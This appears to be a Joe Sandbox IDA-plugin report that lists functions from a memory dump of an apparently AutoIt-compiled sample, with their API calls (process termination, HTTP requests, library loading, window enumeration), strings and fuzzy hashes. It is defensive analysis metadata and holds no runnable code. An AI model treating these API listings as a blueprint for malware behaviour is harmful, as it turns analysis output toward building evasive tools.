Opcode ID: 45bacdb9b35191932b083b0e3ee788d3bfe1b67b952b604aa83e3fc14b6b5a68
Instruction ID: 563ab3fd99c4921cc70832d8c7486bdfd524cb00172508efdd939197d5980a3f
Opcode Fuzzy Hash: 45bacdb9b35191932b083b0e3ee788d3bfe1b67b952b604aa83e3fc14b6b5a68
Instruction Fuzzy Hash: 880167B0902B5ABDE3008F6A8C85B52FFB8FF19354F04411BA15C87A42C7F5A864CBE5

Function 001B84F4 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 001B8504
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 001B851A
GetWindowThreadProcessId.USER32(?,?), ref: 001B8529
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 001B8538
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 001B8542
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 001B8549

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 5673efe9bd0517853f0883e61b5ddc2b4b0363a1b80b8afeba898dd464547b3f
Instruction ID: 49a18a1e78300b66dc79b729bb9e1b10c3a6d3d714f2b1546179bf61649972d3
Opcode Fuzzy Hash: 5673efe9bd0517853f0883e61b5ddc2b4b0363a1b80b8afeba898dd464547b3f
Instruction Fuzzy Hash: B0F05E72240158BBE7215B62AD0EEFF7F7DDFC6B25F000058FA05D1050EBA06A81C6B5

Function 001BA31D Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 001BA330
RtlEnterCriticalSection.NTDLL(?), ref: 001BA341
TerminateThread.KERNEL32(?,000001F6,?,?,?,001E66D3,?,?,?,?,?,0017E681), ref: 001BA34E
WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,001E66D3,?,?,?,?,?,0017E681), ref: 001BA35B

Part of subcall function 001B9CCE: CloseHandle.KERNEL32(?,?,001BA368,?,?,?,001E66D3,?,?,?,?,?,0017E681), ref: 001B9CD8

InterlockedExchange.KERNEL32(?,000001F6), ref: 001BA36E
RtlLeaveCriticalSection.NTDLL(?), ref: 001BA375

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: adb97dc365fc03075d7677faac06657184cfc1474b71f91902180ecdadb4fe8f
Instruction ID: 62d0c98d2a00a73bfe6e06c77151585a104a36b59f70a442339495f8567a71ba
Opcode Fuzzy Hash: adb97dc365fc03075d7677faac06657184cfc1474b71f91902180ecdadb4fe8f
Instruction Fuzzy Hash: 65F05E72141211ABD3112B68FD48EFF7B7AFF89302B400521F203918B1CBB59891CB91

Function 0018D7C7 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 250COMMON

Download Yara Rule

APIs

Part of subcall function 0019010A: std::exception::exception.LIBCMT ref: 0019013E
Part of subcall function 0019010A: __CxxThrowException@8.LIBCMT ref: 00190153

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

Part of subcall function 0017BBD9: _memmove.LIBCMT ref: 0017BC33

__swprintf.LIBCMT ref: 0018D98F

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 0018D832

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: a912cdd51e05e1bd3422ba2bab755cc2b6523a44c6cf0cc988e63aadfe60afea
Instruction ID: cc8a4aef6fe38bcdabcccb0929c16e8d497e538a4074a8ca5d85f51346d60550
Opcode Fuzzy Hash: a912cdd51e05e1bd3422ba2bab755cc2b6523a44c6cf0cc988e63aadfe60afea
Instruction Fuzzy Hash: 4C915831508742AFC714EF64D886D6EB7B4AFA9700F004919F99A972A1EB70EE44CB52

Function 001CB482 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 229COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 001CB4A8
CharUpperBuffW.USER32(?,?), ref: 001CB5B7
VariantClear.OLEAUT32(?), ref: 001CB73A

Part of subcall function 001BA6F6: VariantInit.OLEAUT32(00000000), ref: 001BA736
Part of subcall function 001BA6F6: VariantCopy.OLEAUT32(?,?), ref: 001BA73F
Part of subcall function 001BA6F6: VariantClear.OLEAUT32(?), ref: 001BA74B

Strings

AUTOIT.ERROR, xrefs: 001CB5BD
Incorrect Parameter format, xrefs: 001CB4E0, 001CB6AD

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 6c18350855c3810f8308860e7281f76c4eda899e857e5b7da8260f93657d520e
Instruction ID: 0de31644a01401edf4120da1da88b68388bb034789dc0f9c7d497ab3e824460d
Opcode Fuzzy Hash: 6c18350855c3810f8308860e7281f76c4eda899e857e5b7da8260f93657d520e
Instruction Fuzzy Hash: BD917B746083019FCB10DF24D485E6AB7F5AFA9710F04882DF88ADB362DB31E945CB52

Function 001B5D65 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 180windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00173BCF: _wcscpy.LIBCMT ref: 00173BF2

_memset.LIBCMT ref: 001B5E56
GetMenuItemInfoW.USER32(?), ref: 001B5E85
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 001B5F31
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 001B5F5B

Strings

0, xrefs: 001B5E4E

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 6b9c990dd58a483fbb98f20bb68e2fdeeb0ddae1e5483daffbf1f0168f0826d2
Instruction ID: facdc015ed948ea52c72cc96c74cb32b11c5cf026d2ffc2ab78ee5a132b29605
Opcode Fuzzy Hash: 6b9c990dd58a483fbb98f20bb68e2fdeeb0ddae1e5483daffbf1f0168f0826d2
Instruction Fuzzy Hash: FE51CF715187019BD7159B28C845BFBF7AAAF59350F080A2DF895D31E0DB70CE54C792

Function 001B1050 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(?,00000000,00000005,?,?), ref: 001B10B8
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 001B10EE
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 001B10FF
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 001B1181

Strings

DllGetClassObject, xrefs: 001B10F4

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 885ea8ef18a9af59478593130bb79ae7d3ec78e5b80958c8576a5213ec78694a
Instruction ID: a922e97a70ebbec3fb86b91a6e528579a8d80e00b7ddd7b8ce954f97b5806fd7
Opcode Fuzzy Hash: 885ea8ef18a9af59478593130bb79ae7d3ec78e5b80958c8576a5213ec78694a
Instruction Fuzzy Hash: 39412AB1600204FFDB15CF68CC94AEA7BAAEF45354F5680A9EE09DF205D7B1D944CBA0

Function 001B5A25 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001B5A93
GetMenuItemInfoW.USER32 ref: 001B5AAF
DeleteMenu.USER32(00000004,00000007,00000000), ref: 001B5AF5
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,002318F0,00000000), ref: 001B5B3E

Strings

0, xrefs: 001B5A8B

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 79f682d5a0bbc5ce1675b7303a53f4cfe6919a2e44a25bfac030e4f73dd284ed
Instruction ID: d4820cb58b1957830e2029c42b05556b23f3deb339d1a6b14c365ac4862d5d12
Opcode Fuzzy Hash: 79f682d5a0bbc5ce1675b7303a53f4cfe6919a2e44a25bfac030e4f73dd284ed
Instruction Fuzzy Hash: 9541C571204701AFDB14DF24D984FAABBEAEF88314F04461DF9A59B2D1D770E840CB62

Function 001D0458 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?), ref: 001D0478

Part of subcall function 00177F40: _memmove.LIBCMT ref: 00177F8F

Part of subcall function 0017A2FB: _memmove.LIBCMT ref: 0017A33D

Strings

stdcall, xrefs: 001D04FA
cdecl, xrefs: 001D04CF
winapi, xrefs: 001D04E9
none, xrefs: 001D0553

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memmove$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 2411302734-567219261
Opcode ID: f91db6aa3dee00924d916b63c139ba260ea62c65f61648e42c3d512280494d31
Instruction ID: ef247d3c50d295509fb60c38d598295de31249ef34087191c8806c0f0c4050d7
Opcode Fuzzy Hash: f91db6aa3dee00924d916b63c139ba260ea62c65f61648e42c3d512280494d31
Instruction Fuzzy Hash: 6E31B270500619ABCF05EF58D840AEEB3B5FF29310F50862AE866AB3D1DB71EA05CF40

Function 001AC600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 001AC684
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 001AC697
SendMessageW.USER32(?,00000189,?,00000000), ref: 001AC6C7

Part of subcall function 00177E53: _memmove.LIBCMT ref: 00177EB9

Strings

ComboBox, xrefs: 001AC60B
ListBox, xrefs: 001AC643

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$_memmove
String ID: ComboBox$ListBox
API String ID: 458670788-1403004172
Opcode ID: 7df98ffff18b785fa9c5a00be42c98eb0c4c37bbb6c3cf9d820b5d6273f991f0
Instruction ID: dccae584c1484f37979b514a28c524c4d5f03fd12667fca0326732801d6784be
Opcode Fuzzy Hash: 7df98ffff18b785fa9c5a00be42c98eb0c4c37bbb6c3cf9d820b5d6273f991f0
Instruction Fuzzy Hash: E821F3B5900108BEDB04EBA4DC86DFFB7B9DF26310B108119F42AE72E1DB744D4A9A90

Function 001C4A41 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 001C4A60
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001C4A86
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 001C4AB6
InternetCloseHandle.WININET(00000000), ref: 001C4AFD

Part of subcall function 001C56A9: GetLastError.KERNEL32(?,?,001C4A2B,00000000,00000000,00000001), ref: 001C56BE

Strings

, xrefs: 001C4AAF

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: HttpInternet$CloseErrorHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 1951874230-3916222277
Opcode ID: dd58d903e745346d0d2eafe3f0c0b52202d654ab582746729d242629d8330105
Instruction ID: 03ec38e1491fc2c389404cfc18669f4644e6c5167edbac2450f19e7c10a44365
Opcode Fuzzy Hash: dd58d903e745346d0d2eafe3f0c0b52202d654ab582746729d242629d8330105
Instruction Fuzzy Hash: AE21C9B6544208BFEB21EB649C95FBFB6ADEBA8B48F10011EF106A7140EB60DD459760

Function 001738E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 001E454E

Part of subcall function 00177E53: _memmove.LIBCMT ref: 00177EB9

_memset.LIBCMT ref: 00173965
_wcscpy.LIBCMT ref: 001739B5
Shell_NotifyIconW.SHELL32(00000001,?), ref: 001739C6

Strings

Line: , xrefs: 001E4578

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: b8cd6a39df4062d8d54aa2cb12fee43e965d8f8c0cadf333c222fd79334bd3c4
Instruction ID: 89f57dcc558f5536b5abf7a9e10590476b5bd6b6e9aef02244653542e88f4081
Opcode Fuzzy Hash: b8cd6a39df4062d8d54aa2cb12fee43e965d8f8c0cadf333c222fd79334bd3c4
Instruction Fuzzy Hash: C931C471118340ABD725EB60DC45BEF77F8AF68314F00851EF69D821A1DB70AA98CB92

Function 001D8EEF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 0018C619: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0018C657
Part of subcall function 0018C619: GetStockObject.GDI32(00000011), ref: 0018C66B
Part of subcall function 0018C619: SendMessageW.USER32(00000000,00000030,00000000), ref: 0018C675

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 001D8F69
LoadLibraryW.KERNEL32(?), ref: 001D8F70
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 001D8F85
DestroyWindow.USER32(?), ref: 001D8F8D

Strings

SysAnimate32, xrefs: 001D8F44

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: f379390435041ee2307dbc386122b8de8e9f1d3cdfd54c94a52736b7b8ac7ed1
Instruction ID: 638642fce4dfad997aaef2b5b78838f060efecc5bf8638aa27a525ae5374a2de
Opcode Fuzzy Hash: f379390435041ee2307dbc386122b8de8e9f1d3cdfd54c94a52736b7b8ac7ed1
Instruction Fuzzy Hash: F1219A71200205BFEF106F64EC84EBF37AAEB59324F10462AFA5497290CB71DC919B60

Function 001BE382 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 001BE392
GetVolumeInformationW.KERNEL32(?,?,00000104,?,00000000,00000000,00000000,00000000), ref: 001BE3E6
__swprintf.LIBCMT ref: 001BE3FF
SetErrorMode.KERNEL32(00000000,00000001,00000000,0020DBF0), ref: 001BE43D

Strings

%lu, xrefs: 001BE3F9

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 67fcc1bd7f5e36b51476790ea9a88a2e55342100b56c0b10bcf3802e4b959478
Instruction ID: e4be5e9777690a909f65a3c1101ca4e07c2a63313e3df3caa3a8c6067268c57b
Opcode Fuzzy Hash: 67fcc1bd7f5e36b51476790ea9a88a2e55342100b56c0b10bcf3802e4b959478
Instruction Fuzzy Hash: D6218035A40208AFCB10EFA4DC85EEEBBB9EF99704F108069F509D7292D771DA41CB61

Function 001AD7D6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00177E53: _memmove.LIBCMT ref: 00177EB9

Part of subcall function 001AD623: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 001AD640
Part of subcall function 001AD623: GetWindowThreadProcessId.USER32(?,00000000), ref: 001AD653
Part of subcall function 001AD623: GetCurrentThreadId.KERNEL32 ref: 001AD65A
Part of subcall function 001AD623: AttachThreadInput.USER32(00000000), ref: 001AD661

GetFocus.USER32 ref: 001AD7FB

Part of subcall function 001AD66C: GetParent.USER32(?), ref: 001AD67A

GetClassNameW.USER32(?,?,00000100), ref: 001AD844
EnumChildWindows.USER32(?,001AD8BA), ref: 001AD86C
__swprintf.LIBCMT ref: 001AD886

Strings

%s%d, xrefs: 001AD880

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: ff72e8288bf514a93b7da21188c1a94549d6589c9fa42a47f923d8e3574b2c44
Instruction ID: 083328fd4aeef18779f368c6068bf4107b17a2957ec6a55099a18752bf7813c7
Opcode Fuzzy Hash: ff72e8288bf514a93b7da21188c1a94549d6589c9fa42a47f923d8e3574b2c44
Instruction Fuzzy Hash: E811A2795002056BDB11BF90AC85FBE3779AB55704F0080B5F90EAA586DB7459458B70

